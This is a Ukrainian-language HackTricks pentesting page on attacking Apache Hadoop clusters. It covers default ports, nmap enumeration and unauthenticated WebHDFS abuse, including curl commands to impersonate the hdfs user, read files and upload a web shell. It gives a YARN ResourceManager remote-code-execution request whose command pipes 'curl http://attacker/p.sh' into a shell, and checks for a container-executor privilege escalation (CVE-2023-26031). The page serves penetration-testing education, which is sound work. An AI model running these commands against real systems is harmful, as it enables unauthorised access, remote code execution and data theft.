50030-50060-50070-50075-50090 - Pentesting Hadoop
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Базова інформація
Apache Hadoop — це відкритий фреймворк для розподіленого зберігання та обробки великих наборів даних на кластері комп’ютерів. Він використовує HDFS для зберігання та MapReduce для обробки.
Корисні порти за замовчуванням:
- 50070 / 9870 NameNode (WebHDFS)
- 50075 / 9864 DataNode
- 50090 Secondary NameNode
- 8088 YARN ResourceManager web UI & REST
- 8042 YARN NodeManager
- 8031/8032 YARN RPC (often forgotten and still unauth in many installs)
На жаль, на момент документації Hadoop не має підтримки у фреймворку Metasploit. Однак ви можете використовувати наступні скрипти Nmap для переліку сервісів Hadoop:
hadoop-jobtracker-info (Port 50030)hadoop-tasktracker-info (Port 50060)hadoop-namenode-info (Port 50070)hadoop-datanode-info (Port 50075)hadoop-secondary-namenode-info (Port 50090)
Важливо зазначити, що Hadoop працює без автентифікації за замовчуванням. Однак для підвищення безпеки існують налаштування для інтеграції Kerberos з HDFS, YARN та MapReduce-сервісами.
WebHDFS / HttpFS abuse (50070/9870 or 14000)
Коли security=off, ви можете видавати себе за будь-якого користувача за допомогою параметра user.name. Декілька швидких примітивів:
# list root directory
curl "http://<host>:50070/webhdfs/v1/?op=LISTSTATUS&user.name=hdfs"
# read arbitrary file from HDFS
curl -L "http://<host>:50070/webhdfs/v1/etc/hadoop/core-site.xml?op=OPEN&user.name=hdfs"
# upload a web shell / binary
curl -X PUT -T ./payload "http://<host>:50070/webhdfs/v1/tmp/payload?op=CREATE&overwrite=true&user.name=hdfs" -H 'Content-Type: application/octet-stream'
Якщо HttpFS увімкнено (порт за замовчуванням 14000), застосовуються ті самі REST-шляхи. Якщо використовується Kerberos, ви все ще можете використовувати curl --negotiate -u : з дійсним квитком.
YARN unauth RCE (8088)
The ResourceManager REST API приймає подачі завдань без автентифікації в режимі за замовчуванням “simple” (dr.who). Зловмисники зловживають цим, щоб виконувати довільні команди (наприклад, майнери) без потреби в правах запису в HDFS.
# 1) get an application id
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps/new-application
# 2) submit DistributedShell pointing to a command
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps \
-H 'Content-Type: application/json' \
-d '{
"application-id":"application_1234567890000_0001",
"application-name":"pwn",
"am-container-spec":{
"commands":{"command":"/bin/bash -c \"curl http://attacker/p.sh|sh\""}
},
"application-type":"YARN"
}'
Якщо порт 8031/8032 RPC відкритий, старі кластери дозволяють ту саму відправку завдань через protobuf без auth (задокументовано в кількох кампаніях cryptominer) – вважайте ці порти також як RCE.
Local PrivEsc з YARN containers (CVE-2023-26031)
Hadoop 3.3.1–3.3.4 container-executor завантажує libs з relative RUNPATH. Користувач, який може запускати YARN containers (включно з віддаленими submitters на незахищених кластерах), може помістити шкідливий libcrypto.so у записуваний шлях і отримати root, коли container-executor запускається з SUID.
Швидка перевірка:
readelf -d /opt/hadoop/bin/container-executor | grep 'RUNPATH\|RPATH'
# vulnerable if it contains $ORIGIN/:../lib/native/
ls -l /opt/hadoop/bin/container-executor # SUID+root makes it exploitable
Виправлено в 3.3.5; переконайтеся, що binary не є SUID, якщо secure containers не потрібні.
Посилання
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


